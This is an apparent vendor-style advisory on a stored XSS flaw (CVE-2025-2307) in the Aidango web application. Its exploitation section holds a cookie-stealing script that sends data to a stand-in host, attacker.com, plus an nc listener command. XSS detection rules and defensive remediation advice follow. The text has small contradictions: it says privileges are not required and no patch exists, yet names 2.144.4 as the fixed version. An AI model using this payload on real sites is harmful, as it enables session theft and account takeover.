CVE-2025-2307

Executive Summary

CVE-2025-2307 is a stored Cross-Site Scripting (XSS) vulnerability in Verisay Communication and Information Technology Industry and Trade Ltd. Co.'s Aidango application, affecting versions prior to 2.144.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript code that executes in the context of a victim's browser. With a CVSS score of 7.6 (High), this flaw can lead to session hijacking, data theft, and defacement. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score of 0.0% indicates low exploitation activity in the wild, but the risk remains significant for unpatched deployments.

Supply Chain & Package Security

Aidango is a proprietary web application; no open-source package registries (NPM, PyPI, Go, Ruby) are involved. Supply chain risk is limited to the vendor's distribution channels.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
• Base Score: 7.6 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link or visit a malicious page.
• Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easy to exploit and can lead to severe data breaches, though user interaction is required.

Deep Dive & Mechanics

The vulnerability resides in Aidango's web page generation logic, where user-controlled input is not properly sanitized before being embedded into HTML output. This is a classic stored XSS flaw, meaning the malicious script is permanently stored on the server (e.g., in a database, comment field, or profile setting) and executed whenever a victim views the affected page.

Attack Flow:

1. An attacker identifies an input field (e.g., a comment box, user profile field, or support ticket) that reflects user input without sanitization.
2. The attacker submits a payload such as <script>alert('XSS')</script> or a more sophisticated payload that steals cookies or session tokens.
3. The payload is stored in the application's database.
4. When an administrator or other user views the page containing the stored payload, the script executes in their browser.
5. The attacker can then exfiltrate sensitive data, perform actions on behalf of the victim, or deface the application.

Root Cause: The application fails to encode or escape HTML special characters (e.g., <, >, &, ", ') before rendering user input. This allows arbitrary HTML and JavaScript injection.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates the vulnerable pattern and the expected fix.

Vulnerable Code (Conceptual):

// Vulnerable: Directly echoes user input without sanitization
echo "<div class='comment'>" . $_POST['comment'] . "</div>";

Patched Code (Expected):

// Patched: Uses htmlspecialchars to escape HTML entities
echo "<div class='comment'>" . htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8') . "</div>";

Key Difference: The patched version uses htmlspecialchars() (or equivalent) to convert special characters to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an Aidango instance (version < 2.144.4).
• A user account with permission to submit input that is stored and displayed (e.g., a comment or profile field).

Exploitation Steps:

1. Identify a vulnerable input field (e.g., a comment form).
2. Inject a payload that steals session cookies:

   <script>
   fetch('https://attacker.com/steal?cookie=' + document.cookie);
   </script>
   

3. Submit the payload.
4. Wait for an administrator to view the page, triggering the script.
5. Capture the exfiltrated cookie and hijack the session.

Lab Setup:

• Use a local Aidango instance (if available) or a vulnerable test environment.
• Set up a listener (e.g., nc -lvnp 80 or a simple HTTP server) to capture exfiltrated data.

Blue Team (Detection & Response)

Detection:

• Monitor web application logs for unusual input patterns (e.g., <script>, onerror=, javascript:).
• Use WAF rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

• Isolate affected systems.
• Review logs for signs of exploitation.
• Apply input validation and output encoding as a temporary fix.
• Contact the vendor for an official patch.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Unusual Referer headers or User-Agent strings.
• File IOCs:
  • Log entries containing <script> tags or encoded XSS payloads.
  • Database entries with HTML/JavaScript in user-submitted fields.
• Behavioral IOCs:
  • Unexpected session timeouts or account takeovers.
  • Unauthorized changes to application content.

Detection Engineering

YARA Rule

rule Detect_Aidango_XSS_Payload {
    meta:
        description = "Detects common XSS payloads in Aidango logs or input"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2307"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"][^'"]*['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Aidango Stored XSS Detection
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects potential stored XSS attempts in Aidango web logs
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2307 Aidango Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Aidango to version 2.144.4 or later as soon as the vendor releases a patch.
2. Input Validation: Implement strict server-side input validation to reject or sanitize HTML/JavaScript.
3. Output Encoding: Use context-aware output encoding (e.g., HTML entity encoding) for all user-supplied data.
4. Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.
5. Web Application Firewall (WAF): Enable WAF rules to block common XSS patterns.

Long-Term Fixes:

• Conduct a security audit of all input/output handling.
• Implement a security development lifecycle (SDL) with regular code reviews.
• Use automated scanning tools to detect XSS vulnerabilities.

Workaround (if patching is not possible):

• Disable user input fields that are not critical.
• Manually sanitize input using a library like HTML Purifier.

Valters IT